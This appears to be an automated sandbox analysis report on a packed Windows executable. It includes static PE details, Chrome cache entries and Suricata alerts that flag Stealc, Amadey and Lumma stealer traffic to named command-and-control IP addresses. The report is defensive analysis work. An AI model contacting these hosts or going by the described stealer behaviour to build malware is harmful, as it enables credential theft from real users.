MD5:	6F5591D3A1E16BCC4A0AAAE6FABA0DB3
SHA1:	FBD2449D68035D8B2613AAC0966222EDCD6E97EF
SHA-256:	57FDA93AE110EFBC008190AAA10B3B794EBBF0FE9083FE33A7B4630DC5A87A40
SHA-512:	1CBB2D10E2CF28146BE24370685DBAA375CD5464D5F1EFC77A9B3F947CA9789B0E51D6E77ADE54D84599D9D2D2E1BF8BCA466F61DC58951D0482849366B05B2D
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["$2000 stimulus check","dune prophecy episode 1 explained","winter storm warning oregon","black friday deals ps5","t mobile cyber attack","celtics cavs injury report","direct express card 2024 updates","cryptocurrency"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.435258575216647
Encrypted:	false
SSDEEP:	3072:fGkXyPqO7UX1Hme9kZbs4Voc5fSnXqwQ2i6o:f5yWFHrp4Voc5fSnawQ8o
MD5:	E05680A7B3D8529DEFCD79EBC7DBC96F
SHA1:	6ECF6A83245EA22A15283D987745F71A50105AB4
SHA-256:	C282B5910EF4E8E6E7DEE4F297156BC48ACD8B98A83ED5724D69222A9954278B
SHA-512:	DE8A6CF39C558EB682CF150FA81D13EE6721F474054901CA633EAFF8B5A5F7D6493C2A0FBC3BC9811199B70E2058F658877F87BDF9A3E9145FA2EA54C25767D5
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 490

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 492

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 494

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945920640114522
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'761'792 bytes
MD5:	8427e384ea4951ee4a5f0b425fa5ad02
SHA1:	08f6dd97b593d0bc86339e1a1b7dd405f7798d4e
SHA256:	1498a63ecb4dab164c1b8287ea274408379e317874d7d05f41bc6209060326ba
SHA512:	b62cea071d32ce26c8542fd718ccba61995a7807d73281c7ec066858052d3f7d3539baabafa5e2b0df42c1976f61fece4a7259c92282a3494f7a406c727eaf52
SSDEEP:	49152:5TaSFKi7a7mCv13APYbS8Gsfc7fV7pgs93d/4saM:N0iuJmPWSRpLnN/
TLSH:	CC853337591BA055D4B03E7566C30F3A379893106E26A8241BFD3F65C92E3EE67C0CA9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa7e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007EFE31291C1Ah
xadd byte ptr [edx], bl
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	8707eb8c90c054429e23a1992ee05743	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	3f915f69f5ef4fe76fd7084cd4ddf1f3	False	0.58203125	data	4.599925669191711	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x29c000	0x200	9a61569e654ab3292774d7cfb4598047	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hugubvrh	0x4e8000	0x195000	0x194400	4daf2a45c5b20dcf87cee011a4970215	False	0.9950163303957947	data	7.954740806478454	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zhjtfhxp	0x67d000	0x1000	0x400	db92a4d0d537c3218818a0b3088bcabd	False	0.8330078125	data	6.33341523845696	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x67e000	0x3000	0x2200	7a5e7e33658315863b724a96871ca699	False	0.05652573529411765	DOS executable (COM)	0.803485014536474	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x67c288	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-19T18:00:20.600522+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-19T18:00:21.006791+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-19T18:00:21.017268+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.8	49705	TCP
2024-11-19T18:00:21.240542+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-19T18:00:21.337424+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.8	49705	TCP
2024-11-19T18:00:22.492367+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-19T18:00:22.968756+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-19T18:00:44.255074+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49761	185.215.113.206	80	TCP
2024-11-19T18:00:45.446690+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49761	185.215.113.206	80	TCP
2024-11-19T18:00:46.084645+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49761	185.215.113.206	80	TCP
2024-11-19T18:00:46.734006+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49761	185.215.113.206	80	TCP
2024-11-19T18:00:48.663478+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49761	185.215.113.206	80	TCP
2024-11-19T18:00:49.050081+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49761	185.215.113.206	80	TCP
2024-11-19T18:00:53.023321+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	62272	185.215.113.16	80	TCP
2024-11-19T18:02:05.401370+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	62702	185.215.113.43	80	TCP
2024-11-19T18:02:08.351006+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	62704	31.41.244.11	80	TCP
2024-11-19T18:02:14.175610+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	62703	TCP
2024-11-19T18:02:14.908316+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	62705	185.215.113.43	80	TCP
2024-11-19T18:02:15.627462+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	62706	185.215.113.16	80	TCP
2024-11-19T18:02:20.131616+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	62708	185.215.113.43	80	TCP
2024-11-19T18:02:20.607740+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	62709	188.114.97.3	443	TCP
2024-11-19T18:02:20.848587+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	62710	185.215.113.16	80	TCP
2024-11-19T18:02:24.199952+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	62709	188.114.97.3	443	TCP
2024-11-19T18:02:24.199952+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	62709	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 18:00:09.456955910 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.456984997 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.457007885 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.457032919 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.457093000 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.457796097 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.460755110 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.460834026 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.461623907 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.461728096 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.462519884 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.465506077 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.465600967 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.466386080 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.466439962 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.467324018 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.555361986 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.558619022 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.559632063 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.559681892 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.559695959 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.559700012 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.559727907 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.562323093 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.562479973 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.563095093 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.563381910 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.563409090 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.567100048 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.567284107 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.567888975 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.568198919 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.657025099 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.659182072 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.663357019 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.663419962 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.663527966 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.663578987 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.664129019 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.664839983 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.664860010 CET	443	49703	13.107.246.45	192.168.2.8
